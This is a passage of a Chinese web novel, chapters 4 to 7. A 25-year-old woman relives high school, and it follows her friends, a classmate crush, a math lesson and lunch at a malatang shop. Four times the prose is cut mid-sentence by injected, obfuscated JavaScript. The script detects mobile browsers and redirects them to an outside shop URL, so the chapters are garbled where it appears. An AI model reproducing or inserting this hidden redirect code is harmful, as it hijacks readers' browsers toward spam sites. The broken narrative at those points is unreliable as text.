身边是熟悉的人,耳边是熟悉的拌嘴,眼前的景象和脑海中的记忆互相交织,让人有一种不知今夕何夕的错乱感。不同于季知节高中才认识两人,于落落和张镜从小就认识,两人小学到高中都是一个班级,张镜常常说这不符合常理,于落落也说自己早就腻了,但是季知节知道,其实两个人的关系好得不得了,但是神奇的是,季知节几乎没有感到过不自在,偶尔的别扭总能被张镜察觉,然后以或笨拙,或奇怪的方式让人和解。就像于落落曾经喝醉后说的,三个人走到一起靠得是她和季知节的自来熟,三个人一起走了十年离不开张镜的调节。虽然第二天醒过来的于落落打死都不承认自己说过这话,但是张镜很实在地对于落落轻声细语了几天,不过最终因为于落落的蹬鼻子上脸而终结。 被带到队伍中的季知节条件反射般跟着前面的同学调整着自己的站位,略显混乱的队伍慢慢被整顿得像模像样,有些吵闹的操场也逐渐安静下来,高高的主席台上,校领导拿着麦克风推动着流程,随着音乐缓缓升起的红色旗帜在风中烈烈作响,季知节摸着校服口袋里不知什么时候多出来的棒棒糖,轻轻勾起了嘴角。接下来就是千篇一律的讲话环节,好好学习、不要迟到、注意安全这些问题被念了八百遍,任谁看都是会再来一个八百遍的样子。 升旗仪式带来的肃穆逐渐被枯燥的演讲冲淡,庞大的蓝白校服群体中出现了窸窸窣窣的动静,站在队伍后方的更是胆大妄为。 “你今早上好好往后站干嘛,心怀不轨啊。”周博承仗着站在最后一位,把前后一臂距离的要求抛之脑后,蹭到沈瑜身后,低声八卦道。 沈瑜头也不回地给了周博承一肘子,“滚,我去找她要数学作业而已。” “你嘴真硬啊。”周博承感叹道,“要数学作业你至于和李老板说你卷子没带吗,我早上还抄的呢。” “那我去和李老板说,我卷子带了,只不过你拿去抄了,所以我没找到,咋样。”沈瑜觑了一眼周博承一眼,冷笑道。 “哈?你真没良心啊,我这是在帮你认清你自己行吗,你要喜欢你就冲啊,你长得还算人模狗样的,还会点乐器,成绩也还行,妥妥风云人物的模板啊,这不得谈个轰轰烈烈的校园恋情。”周博承怂恿道,“你真的太怂了。” 沈瑜在“狗你头”和“怂你头”之间犹豫了一下,结果错失良机,周博承嘴里的故事情节已经进展到两人狗血与误会齐飞,掐腰红眼轮番上阵,听着周博承越来越离谱的说法,沈瑜艰难开口,“你最近没看动漫,改看言情小说了吗?” “你咋知道,你别说,还挺好看的,怪不得我妹天天熬夜看。”周博承道,“你要看吗,好像还挺火的,我可以偷一本我妹的借你。” “不了。”沈瑜义正言辞道,“我最近乐理都有点看不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360031|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了,还是你自己看吧,多看点,挺适合你的。”都挺神经的。 周博承显然没听出来沈瑜的言外之意,还美滋滋道:“那可不。” “你吉他课还在上啊?”没安静两秒,周博承又凑了过来,低声道,“你妈不是说不给你上了吗?” 沈瑜注意着李老板的动向,低声道:“上啊,我姐给我担保的,说只要我成绩稳定,就别退我课。” “感谢咱姐。”周博承双手合十,嘴里念念有词,“咱姐上次送的那个小饼干还有吗,我想吃小饼干了。” “我看你长得像个小饼干。”沈瑜面无表情道。 聊得火热的后方阵营因为李老板的突然到访而终止,所有人开始装模作样地盯着主席台,还有人略显浮夸地点头应和,表现得相当认真。 李老师看破不说破,漫不经心在几个过分活跃的男生边上站了一小会,例如周博承,如愿看见几个学生脸色逐渐僵硬,然后慢慢悠悠地晃走了。不过效果拔群,一直到晨会结束,后排都相当安静。 所谓退场,也是相当有技术含量的一件事,以操场为界,只要还没出操场,班级队列一定要相当整齐,且不能在老师眼皮子底下跑起来,但是一旦一只脚迈出了操场,那么队伍就会自觉分裂,一条纵队变成一堆小分队。比如此时的季知节三人。 “说实话还不如做早操呢,每次周一花的时间都是最长的,有时候上厕所都来不及。”于落落挽着季知节抱怨道。 “还好吧,做操太累了,不乐意动,就这么站着挺好的。”张镜双手插在口袋里面,懒洋洋道。 季知节捏着口袋里的棒棒糖,认真想了想,道:“下雨挺好的,不用做操也不用站着。” “哈哈哈哈哈哈,也是,天才啊你。”不知道哪里戳到了笑点,于落落笑得眉眼弯弯。“都在教室坐着算了。” “那你骑车咋办。”张镜无奈叹气,“我们想点可实行程度高的不行吗。” 没想到张镜第一反应是自己骑车的问题,季知节笑得像吃了蜜,随即开玩笑道:“那就只剩考试了,都一起考试,就不用出来了。” 于落落的笑容戛然而止,张镜一脸难以言喻,冷酷道:“那还是下雨吧,你辛苦一点,我们都很幸福。” “没错没错。”于落落煞有其事道。 季知节抿嘴笑:“不是吧,这么狠心的吗?” “对啊对啊。”于落落挑眉,笑得像只小狐狸,“改天就把你卖了。” “能分我一点吗?”季知节配合道,“毕竟我也出力了。” “那就分一点点吧。”于落落思考了一会,回答道。 看着还有来有回的两人,张镜深觉自己格格不入,却也没有走开,只是一脸无奈地接受。 回到教室,季知节对着记作业的本子,快速把作业交给各科课代表,其中交数学作业的动作尤其迅速,不为别的,只是因为沈瑜同桌的笑容实在太诡异了,季知节放下作业就逃也似的走了,没看见后面的沈瑜一本书砸在了周博承的脑袋上。 5. 第 5 章 季知节应该是有点不舒服。 一直在默默观察季知节的张镜得出了这个结论。 在早读的时候,张镜就觉得很奇怪,偶尔几次回头,都能注意到罚站着的女孩相当心不在焉;早读下课去操场的时候,女孩也都还有点魂不守舍,所以在看见于落落偷偷摸摸往季知节口袋里塞了一根棒棒糖时,她也装作没看见;早操结束后,看着又能开玩笑的季知节,张镜以为棒棒糖发挥作用了,还想感叹不愧是“对知良药”。但是一个上午过去,张镜发觉,季知节好像只是“限定正常”而已。 在她和于落落面前,季知节精神要明显集中一点,话要更多一点,但凡不是只有三个人的场合,季知节的活跃程度就直线往下降。在语文课上遇到小组讨论时,季知节看上去拿着书在认真思考,却很少开口说话,当一个能自己演八百出情景剧的人突然安静下来,是个人都能发现不对;再有就是,季知节这个人喜好表现得相当分明这点,稍微关注一点季知节的人都能知道,季知节相当喜欢历史老师,每当上历史课的时候,配合程度堪称相声艺术中的捧哏,那叫一个活泼认真。当然,今天的历史课,季知节依旧很认真,和大部分同学一样,但是,这恰恰是最大的问题!没看见历史老师下课的时候都往这边看了几眼吗! “季知节不舒服吗?感觉没什么精神的样子。” 看着于落落把季知节拖去厕所,后座的叶珊珊还是没忍住,低声询问张镜。 张镜收拾着桌面,抿嘴摇头,“我也不知道。”说着,心情也难免感到低落。说到底,张镜也不过是个十五岁的小姑娘,敏感、共情能力强是她的天赋,但是也是束缚,满打满算和季知节也才认识一个多月,总害怕关心私事不会让人感到冒犯。但是张镜实在喜欢这个女孩,开学第一天的“番茄炒蛋”是神来一笔,张镜当时就记住了这个人,而真正的熟悉,是在后来的军训中。因为两人身高差不多,所以站方阵时也比邻着站。 “哈喽,张镜,我站你旁边哦,我是季知节,你记得不?”这是季知节和张镜说的第一句话。 张镜自认为不是什么特别有辨识度的人,普普通通的长相,普普通通的身高,呆板的齐耳短发和框架眼镜,大概随便是丢进一所高中,三步就能撞人设的程度,所以在季知节喊出自己名字的瞬间,张镜是无法理解的。 “你……记得我?”这是张镜对季知节说的第一句话。 结果季知节看上去比张镜还惊讶,“那当然呀,我们昨天不是才自我介绍过吗?你说你的名字是‘以史为镜’的那个‘镜’,难道我记错了?” “没有。”张镜掩饰般扶了扶眼镜,“我没想到有人会认真听而已。” “嘿嘿,可能我比较奇怪吧。”张镜甚至觉得自己听出了一点骄傲的语气,但是张镜完全支持。 “不奇怪,认真听其他人说话很酷。”张镜一板一眼道。 “哇,谢谢!你也很酷哦。”季知节笑得眼睛都眯起来了,看上去相当喜欢别人夸她。 张镜没想到“酷”这个词还能用在自己身上,不禁反问道:“哪里酷?” 但话说出口的瞬间,张镜就反悔了,对客套话追根究底是非常令人尴尬的行为,就在张镜疯狂想着圆场的话时,季知节理所当然般道:“你的眼镜超酷的,红色的诶。” “谢谢。”张镜听见自己回答道,“我特意挑的,我很喜欢红色。” 就如张镜说的,她其实很喜欢红色,红色的眼镜是自己特意挑的,但是张镜开始戴眼镜的年纪很小,那个时候总有一些人爱把恶意的目光放在别人身上,因为红色的眼镜,张镜被取过不少外号。纵使心里知道,这些人大多大脑发育未完全,完全不需要去在意,但是不能指望一个小女孩有多大度,没有当面骂回去已经是性格和家教使然了。不过张镜骨子里还是倔的,有过许多次换眼镜的机会,妈妈也曾劝说过换眼镜,但是每次检查完视力的时候,张镜也依旧不声不响地指着自己的红色眼镜,因为不合适而不得不换时,也挑的是红色。到最后好像已经单纯成为了一种习惯了。 在张镜考入了市内最好的高中的同时,那群名字都记不清的人早就不知道哪去了。各种考试本身就是一次筛选,现在出现在身边的人不说是最优秀的,但是好歹不怎么会做出一些低智行为,这也是张镜一直都很努力的原因。事实反馈出来的也确实是这样,当身边的人只注意到学习时,自然也不会有人把目光放在小小的一副眼镜上了,所以张镜一直以为自己已经释然了,但是张镜忘了,想让别人不在意有时候也是一种自我否定,以快乐开心为目的而选择的眼镜,最后完全失去了它本身的意义。 所以张镜一直记得那天的太阳有多耀眼。 而当她发现太阳运转好像有点失常时,内心是有些不知所措的。 季知节当然不知道自己装了半天还是OOC了,自己的同桌和后桌已经把思维发散到十八重天外去了,她这会和于落落还在卫生间排队。 “所以什么时候能扩建一下女卫生间,排队都要排到外面去了。”于落落拉着季知节抱怨道。 “学校太穷了。” “那我们的学费都收去哪儿了嘛,一点都不落在实事上。” “谁知道呢。”季知节耸肩,“我们去楼上吧,楼上人应该少点。” “哇,天才!” 楼上的人果然少一点,季知节靠在洗手池旁等,目光定格在略显斑驳的地板上,洗完手甩出来的水渍在地面被踩开,脚印都变得七零八落。 于落落出来就看见女孩盯着地面发呆,思绪和灵魂好像都在游荡,与表现出来的相反,于落落并没有那么大大咧咧,立志做导演的人,对情绪没点感知能力,怎么想也不可能。于落落打开水龙头,用哗啦啦的水流呼叫回神游的季知节。 如愿看见目光落在了自己身上,于落落冲着季知节笑道:“棒棒糖你吃了吗?” 季知节也笑道:“吃了。” 于落落满意点头:“吃完了记得找我要,我有超级多。” “你要包养我嘛。”季知节直起身子,插头挑眉笑道。 几滴水珠迎面飞来,于落落甩了甩手上的水珠,恨铁不成钢道:“一点糖就能包养你了?有点志气啊朋友,起码五六七八九千万吧。” 季知节不闪不避,任由水珠洒在脸上,“只是对你们的特价而已。”说着睫毛上的水珠颤颤巍巍地落了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360032|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,顺着脸颊停留在了扬起的嘴角。 “那还差不多。”于落落看着格外乖巧的季知节,抽了一张纸巾轻轻拍在了女孩的脸上,没好气道,“傻不傻,都不知道躲一下。” 季知节按住纸巾,只是笑,也不说话。 “走啦,上课了要。”于落落挽住女孩的手臂,笑嘻嘻道。 —— 季知节告诉自己,现在看起来天塌了一样的事情,在以后看来也只不过是饭后谈资而已,就像现在看小时候没带红领巾的自己,就像以后看现在罚站的自己。 但是!早读时喧闹中的罚站和现在满室寂静的罚站,完全是两种体验啊!上课铃响起来,在全班安静下来的同时,起身向后面走的悲壮感,还是很让人痛苦的。季知节尽全力让自己走的从容,忽视掉若有若无的视线,抱着课本和草稿纸乖巧地站在了教室后方。 几乎铃声刚结束,李老师就站上了讲台,双手撑住桌面,锐利的眼神扫过班级,冷声道:“沈瑜,把今天早上没带数学作业的名单报一下,报到名字的,带着书都给我到后面站着去。” 沈瑜在周博承幸灾乐祸的目光里站起来,对着便利贴一个个念。 “沈瑜。”沈瑜相当自然地把自己的名字排到了第一个,拿着便利贴和书就开始往后面走。 李老师的得意门生是第一个倒霉蛋这个事实显然能吸引不少人的目光,季知节甚至能很清楚地看见有几位松了一口气,想来就是接下来的倒霉蛋,但是很快,季知节的视线里,就只剩迎面走来的的沈瑜了。 在安静的教室里,脚步声格外明显,随着脚步声逐渐变大的还有心跳声,季知节感受着胸腔传来的震动,低头看着书本,手指悄悄捏紧,余光里看见那少年停在了间隔一人远的位置,然后好听的声音再度响起。 “孙宇、卓文君、陆谦……” 点着点着,后排的人越来越多,声音也越来越近,最后一个名字读完,已经不需要刻意用余光去看,在平直的视野里,就已经有了少年挺拔的身影了。 放眼望去,以季知节为界,右边是男生,左边是女生,满满当当一排,相当壮观。 你们的心思是不是还在国庆里面。”李老师背着手,一双眼睛来回扫视所有人,“今天不带作业的人是开学以来最多的一次,你们放假放个两天就不知道自己是个学生了是吧,作业到底是忘记带了还是没写,自己心里要有数,后面站着的都给我把今天的数学作业抄一遍。” 季知节悄悄松了口气,十分庆幸自己是迟到。 “迟到的那个也抄。明天交上来。” 还没高兴三秒,季知节脸上的表情都有点扭曲,只得点头,示意自己知道了。 “好,现在开始上课。起立。” 就在所有人鞠躬问好时,季知节的耳朵清晰地捕捉到了右边传来的一声轻笑。 借着鞠躬的动作,季知节微微偏头,想要谴责这种幸灾乐祸的行为,却撞入了一片等待已久的湖泊里,少年的眼睛清澈见底,对着转过头的女生笑得一脸无辜。 “坐下,我们看黑板,上节课我们讲到……”讲台上的声音拉走所有人的注意,后面的暗潮汹涌无人发觉。 6. 第 6 章 猜猜我们要考几门? 虽然实际年龄已经25岁了,但是季知节依旧畏惧数学课,是的,畏惧。不是讨厌,而是畏惧。她敬佩每一个数学好的人,宽泛而言,她佩服能将理科学好的孩子,她还记得高中时期她的不少零食都“上供”给了当时班上理综加数学第一的那个女生,甚至每次考试前都要去握个手蹭点运气。但是她依旧搞不懂普普通通的26字母加上一点数学符号怎么就会变成另外一门语言,解题的过程就像在深山老林里面奔跑,找不到方向,还时不时会踩进猎人挖好的坑,灰头土脸地爬出来之后发现下一个坑正等着你。 前面的文科课让季知节放松了不少警惕,而此刻黑板上的写满的log和f(x)让季知节回想起来自己已经是一个八百年没碰过数学的人了,当看到李老师在黑板上写下log这三个字母时,脑子里的第一反应居然是李老板英语挺不错的……当这个想浮现的一瞬间,季知节就知道自己完了。往小了说,今天晚上的作业怎么办,往大了说……一中最喜欢做的事情就是考试,班级内的小考,一月一次的月考,还有时不时搞次联考,期中考期末考,大考小考,旨在把人翻来覆去地架在火上烤,反正多考考,总能熟的,无论是人还是知识点。 高一因为军训,再加上后来的国庆假期,第一次月考的时间和其他两个年级错开了,但是掐指算算也快了。差点混了一上午的季知节被一堂数学课唤醒了久违的学生因子,扯紧差点崩溃的神经,季知节飞速翻了一下目录,好消息是因为正式上课时间没多长,数学现在也只学到了第二单元函数的部分,坏消息是这部分真的太久远了,季知节脑子里已经想不起来一个知识点了,更坏的消息就是,高一没分科,猜猜我们要考几门?季知节在心里自言自语道。 哈哈,九门。 想到这点的季知节冷静地把目光看向黑板,一边听着李老师的讲解一边点头,俨然一副好学生的模样,前提是忽略草稿纸上一堆不明所以的线条罢了。 虽然做了点小动作站到了季知节旁边,但是沈瑜发誓,他并没有想做什么,但是仗着身高的优势,他不需要刻意去看,也能观察到女孩在做什么,往前翻书的动作实在太明显了,草稿纸上一堆无意义的线条也很奇怪。沈瑜看了看题目,黑板上是一道求定义域的题,不难,但是稍微有点绕。又瞥了一眼直勾勾盯着黑板的女生,想了想,在带着的草稿纸上写了起来。 季知节没想到会收到旁边的人递过来的纸条,奇怪地看了一眼旁边的男生,男生却像是没发现一样,只盯着黑板。季知节只好收下纸条,背着讲台上的老师把纸条夹杂了缝隙中,借着打草稿的动作看了起来。 是解题过程。 看清楚纸上写的字时,季知节一顿,不自觉歪了点脑袋,又很快回正,仔细看了起来。 是一道解定义域的题目,详细地写下了每一个步骤,甚至在一些关键步骤后面标明了知识点和页码,看到了几个熟悉的数字季知节才反应过来,这是刚刚黑板上她盯着发呆的那道题。 “写得不是很明白,如果不清楚的话,下课我再解释一下。”草稿纸上还有这样一句话。 季知节很早就知道沈瑜写得一手好字,高中时期出黑板报,总会有人拉着他来写文案;出道后,这一手好字更是成为了粉丝们骄傲的资本之一,用粉丝的话就是,字里面也有风骨。 粉丝的话虽然多少有些夸张的成分,但是不可否认的是,沈瑜的字确实相当好看,哪怕有些笔顺连在了一起,也看着十分赏心悦目。季知节心里有些五味杂陈,不解他为什么会产生自己不会这道题的想法,虽然这是事实;也不解他怎么会写下这么详尽的步骤。但不管怎么样,季知节都很感谢沈瑜的好心,在草稿纸上写下了“谢谢”二字,不动声色地往右边歪了一点,一边注意讲台一边点了点草稿纸。 沈瑜也相当明确地收到了感谢,用笔敲了两下书本做了回应。 看了眼黑板上更加天书一样的习题,季知节又把注意力放在了纸条上。 也幸亏沈瑜这张写得简明易懂的纸条,季知节稍微找回了一点点自信。虽然有点慢,但是一条条对着知识点看,慢慢理解,这道题总归是会了。 当解出来的答案和草稿纸上的数字一致时,季知节久违地感受到了成就感,心脏传来的扑通声直达大脑,嘴角的笑意完全抵挡不住,如果不是因为在上课,季知节觉得自己都能跳起来。 正当季知节沉浸在快乐中时,右脚突然被轻轻碰了一下,季知节条件反射般抬头,却发现罪魁祸首正认真盯着黑板,不明所以地顺着沈瑜的视线看过去,却不期然和李老师的视线撞到了一块。 心脏突然漏了一拍。 就见李老师转身在黑板上写着公式,嘴里道:“后面站着的同学听课也要认真一点。” 语气淡淡的,也没有指名道姓,季知节却感觉四面八方的视线都好像朝自己而来,低下的头差点抬不起来,心虚在此刻展现的淋漓尽致。 看着差点成鸵鸟的季知节,沈瑜垂头掩饰眼里的笑意,其实在后面站着的多少都有点发呆,李老师没说名字也是因为后面开小差的人有点多,实在说不过来,并不是单纯指季知节。但是沈瑜实在没想到季知节这么心虚,还没指名道姓,就已经满脸写着对不起了,看看右边那一堆装了三秒就不装了的老油条,沈瑜觉得季知节这种“稀缺物种”真的太难得了。就在沈瑜想着打趣一下季知节时,余光却看见地面上的两双鞋。 黑白色的板鞋紧挨着一双粉色的帆布鞋,帆布鞋的主人似乎因为长时间站立有些不舒服,偷偷抬了抬脚后跟,又轻轻踩回地面,全程都没有发现旁边还有一双鞋。 “红心火龙果。”沈瑜看着两双鞋,有意无意忽略了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360033|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多的白色,强硬地下了个结论。 如果季知节知道沈瑜觉得自己太老实了,她一定会严厉反驳,谁还不是个老油条了,历经过大学生活和社畜生活的她,实在是一根老得不能再老的油条了。但是话又说回来了,老师是不一样的,班主任也是不一样的,数学老师也是不一样的,而兼具班主任和数学老师的李老师,那是真的不可估量。 不过此刻的季知节刚从心虚中回过神来,将一颗乱跳的心按回原位,开始认真听课。靠着刚刚看过的一些知识点,季知节艰难地听着课,有能听懂的,也有不理解的,但是季知节告诉自己没关系,就像刚刚做的那样,慢慢来,总能解决的。 —— 认真时时间总是过得很快,带着满肚子的问号,季知节迎来了下课,合在桌上的数学课本里面写满了字,包括详尽的解题步骤以及听着陌生的数学名词,往好处想想,起码午休时间有事情做了。 等李老师迈出教室门,早就蓄势待发的学生一窝蜂似地涌出了教室,教室里只剩少数一些不着急的学生。虽然无法理解,但是一中确实是没有食堂的,学生分为了回家吃饭派和外出就餐派。家近的选择回家,还能舒服地睡一觉,家远的就在校门口觅食,吃完的在哪带着都行,只要在下午第一节预备铃响之前到校就可以。也是托了没有食堂的福,一中门口的一条街已经成为了远近闻名的小吃街了,不说别的,难吃的东西一学期内必定倒闭,剩下的都是学生严选。 季知节、于落落、张镜就曾经是三年的饭搭子,季知节锐评道:感情都是吃出来的。 但是季知节三人一向不着急往外跑,收拾收拾东西、卫生间溜达一下,再慢悠悠往外晃也能吃上饭,晚到一点或许还不用顾忌后面排队等候的人,吃得更自在。 所以季知节此时和张镜稳稳坐在座位上,等着于落落过来。 “今天吃哪家?”于落落带着问题就砸了过来,“吃饭还是面?” “都行。”张镜在本子上记着作业,头也不抬。 “就知道问你也是白问。”于落落坐在了季知节前桌的位置上,把玩着桌上的橡皮,没好气道。 季知节侧着脸趴在桌子上,眨了眨眼睛,在脑子里翻着过去的记忆,一时没说话。 突然一块橡皮抵上了脸颊,于落落眯着眼睛问道:“发啥呆呢,站累了?” 季知节盯着于落落眨了眨眼睛,咧嘴笑道:“想吃麻辣烫。” 橡皮从脸上滚落,刚刚还捏着橡皮的手此刻捂住了心口,于落落捧着心脏道:“吃!我们知知同学这么可爱,想吃什么都行,吃多少都行!我们镜子有的是钱。” 张镜捏着本子就给于落落来了一下,言简意赅。 “滚。” 不过张镜到底还是没拒绝,只是起身看着两人道:“走了,吃饭去。” 7. 第 7 章 可能是因为双休日在家吃得太过健康了,今天的麻辣烫店人满为患。看着拥挤的店铺,季知节有些打退堂鼓,这还不知道要等多久,但是店里面传来的勾人的香味又让人迈不开脚步。 “还进去吗?”于落落嘴里问着,眼睛却没从店里面移开,“要换一家吗?” “虽然好多人,但是这家最好吃啊。”季知节盯着冰柜,回答道。只说这家店在季知节25岁的时候还开着,就知道这家店有多受欢迎了。在众多餐饮店店开了又关,关了又开的盛况下,这家店凭借独特的酱料和汤底、干净卫生的食材以及优惠的价格脱颖而出,一跃成为了一中学子必吃榜榜首。每次三人回到H市时,都会结伴来吃几回。 回想起记忆中的美味,季知节更加迈不开步子了,就差直接冲进去了。 看着两个犹如饿死鬼投胎的人,等会再来的话卡在张镜嘴边,实在说不出口。干脆一手一个,将人拖进了店铺,“那就进去吧,总会有位置的。” “生菜、青菜、紫丸子、年糕……”季知节一边碎碎念,一边把想吃的往盆里面捞,越念越饿,越饿拿的越多,要不是张镜注意到了逐渐有些不对劲的分量,及时制止了季知节作恶多端的手,可怜的胃就要遭殃了。 站在一边的于落落都要笑死了,“像妈妈带着女儿出来吃饭。”她点评道。 实际年龄25岁的季知节羞愤欲死,坚决不承认这个行为是自己做出来的。张镜反而十分自在,带着两人去结账,“那就走吧,女儿们。” “?”于落落脸皱成一团:“你少占我便宜。” “谁结账谁是老大。”张镜晃了晃钱包,微微笑道,“不然你来?” 于落落一个滑步走到张镜身边,神色谄媚:“您来您来。” 季知节失笑,看着于落落耍宝,也没有拒绝张镜。说来也巧,三个人的关于这方面的习惯十分相似,平时吃饭的时候各付各的,有人请客的话也不会扭扭捏捏,大不了下次请回来就是,有时候往来也是经营感情的一种方式。 “三份都要加麻酱,谢谢。”张镜对着收银台的阿姨礼貌道。 “好嘞,这个是你们的号码牌。” 三人收好牌子,还在张望着店里面还有没有空位,就看见一个大个子挥舞着手臂,嘴里还念着班长,旁边坐着的男生笑着看向三人,示意这边空出了位置。 感谢周博承的身高,是真的很显眼;也感谢运气,刚结完账,和周博承沈瑜拼桌的人就走了;抱着这样的感恩之心,三个人往那边移动。 周博承相当眼疾手快地薅了一张落单的凳子,放在了对面,凑出了长桌的第五个位置。于落落对周博承利索的动作比了个大拇指,顺势就坐在了周博承正对面的位置。 “牛啊。” “小事一桩小事一桩。”周博承眉飞色舞道。 张镜挨着于落落坐在了中间,轮到季知节时,只剩下沈瑜正对面的位置。 这个凑一块的频率是不是有点太高了。 季知节边坐下边思考。 但是季知节忽略了面对面和旁边的区别。相对而坐是无法规避视线的,甚至都不需要因为身高而做出抬头或者低头的动作,只需要微微抬眼,就能将对面的人收入眼底,也能看见对方的视线到底在哪。 他在看我。/她在看我。 同样的念头同时在两人的脑海中闪过,旁边三个人在聊什么已经有些模糊了。 他为什么要看我?/她为什么要看我? 女孩的目光直勾勾的,圆眼里还有着好奇的光,沈瑜忍不住眨了一下眼睛,搭在桌子上的手忍不住蜷缩了一下,刚想开口说什么,就被来收拾桌子的阿姨打断了。 注意到沈瑜欲言又止,季知节微微歪头,“怎么了?” “没什么。”沈瑜抽了一张纸巾擦手,“就是想问问你题目看懂了吗。” “啊~”季知节恍然大悟,随即诚恳道,“看懂了,多亏了你,感谢感谢。” “没事,应该的,有不会的可以来问我。”沈瑜点头,状似不经意道。 季知节还没回答,旁边的周博承先嚎起来了,“不是吧,你们吃饭都要聊学习啊,不倒胃口吗?” “都是学生,不聊学习聊什么,聊你的脑子进了多少水吗?”沈瑜笑眯眯道。 “你脑子才进水呢,攻击力这么强。我们就不能聊点诗词歌赋、人生理想吗?”周博承无语道。 “那行,把《沁园春·长沙》背一遍。” 周博承一言难尽地看了一眼沈瑜,果断道:“我们还是聊聊谁脑子里有水吧。” 于落落被逗得笑出了声,附和道,“相当可以。” “不过这篇是老师要求的背诵篇目吧,”张镜看着周博承假装犹豫道,“你……没在小组长那里背吗?” “哦豁。”沈瑜幸灾乐祸地看着周博承,“中奖了。” “我当然背了,”周博承狡辩道,“我只是忘得快而已,我那次早读背过了的。” 虽然季知节也忘了,但是不妨碍季知节看热闹,毕竟瓜不在自己家就很香,周博承有点太好逗了。 “而且我是体育生,我们笨一点多正常啊。”周博承很快给自己找好了理由,逐渐理直气壮。 原本还幸灾乐祸的沈瑜敛了敛笑意,看了一眼周博承,开始玩手上的纸巾。 “你是这么想的?”季知节没想到会听到这样一句话,挑了挑眉,看向了周博承。 “不都是这么想的吗。”似乎是没想到季知节会反问回来,周博承睁着一双眼睛看着季知节。 “怎么说呢,‘都这么想’和‘你这么想’还是很不一样的吧。”季知节犹豫着要不要说出口,毕竟自己好像也没什么立场去说别人,25年的人生过得乱七八糟。 “‘你这么想’是你想这么做,‘都这么想’那就很容易是刻板印象了。”于落落看着周博承,直白道,“把自己陷入到刻板印象可不是什么好事。” “如果你觉得体特就该笨点,那么考上一中的你,算正常还是不正常呢。”张镜抽过纸巾擦拭着还有点油腻的桌面,一针见血道。一中招生的时候并不像其他学校那样对艺体特长生放低要求,哪怕拥有各类赛事的奖项,分数不达到要求也是不会招收的,甚至于一中的特长生分数线比其他的学校的还要高,所以一中的特长生不算特别多。 “我那是…”周博承看向沈瑜,“他带我学习的,还给我划重点了。” “我要有那本事我就去开补习班了,还在这上学。”沈瑜没好气道。 “我感觉是因果逻辑不对,很多人觉得是因为笨、学不好才当体特,但是实际上,人的精力是有限的,你当了体特,分在学习上的时间自然而然没有那么多了。”于落落看着周博承迷茫的脸,叹了口气,解释道。 “而且,你成绩真的差吗?你周围这一圈人,都是在全市那么多初中里面考出来的,你在这群人中间当然不算好,但是你能过一中的分数线,光文化课成绩就已经打败全市90%的体育生和50%的文化生了。” “而且你是练跳高的对吧。” “对,他初三的时候就过了国家二级运动员的线了。”回答的是沈瑜,“还拿了不少市内比赛的奖,金牌。” 于落落一拍手,“看,你还打败了市内同年龄段除你之外的所有跳高运动员,你超牛的。” “我这么牛?”周博承看着诚恳的少女,半信半疑。 “就是这么厉害。”于落落重重点头,以增加说服力。 “正常本身就是一种不正常,所谓正常也不过只是大部分人的取向,并不能代表所有,而将大部分作为判断的标准,在我看来是一件很神经的事情,规训要不得啊朋友们。” 于落落摆弄着筷子,轻描淡写道。 外人总认为这三个人里面,张镜是最成熟的那个,因为张镜的性格最沉稳,但这也是一种刻板印象。而季知节和张镜都清楚,三人中于落落才是那个时不时托住她们的人。 于落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360034|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落是三个人中最早知道自己要做什么的。她说,她的妈妈曾经是一名导演,在她很小的时候,妈妈带着她去了一次片场,自那次之后,她就告诉全家,她要拍电影,要成为全宇宙最厉害的导演。 虽然要成为全宇宙最厉害的导演十分困难,但于落落也确确实实一直在努力着。学习构图、练习摄影、练习剪辑、为了画好分镜去学画画、每周都会挑选电影进行分析、还不放下文化课,立志要把成绩稳定在中上游。也许是因为阅片量大的原因,于落落十分擅长从客观的角度去拆解事情,对很多事情有自己的理解,但是她不逼着别人接受,想分享她就多说一点,有人不想听就不说,只是单纯和人嘻嘻哈哈她也很开心。 “你好帅啊。”周博承看着于落落,满眼惊叹。 “谢谢,你也不错。”于落落矜持道。 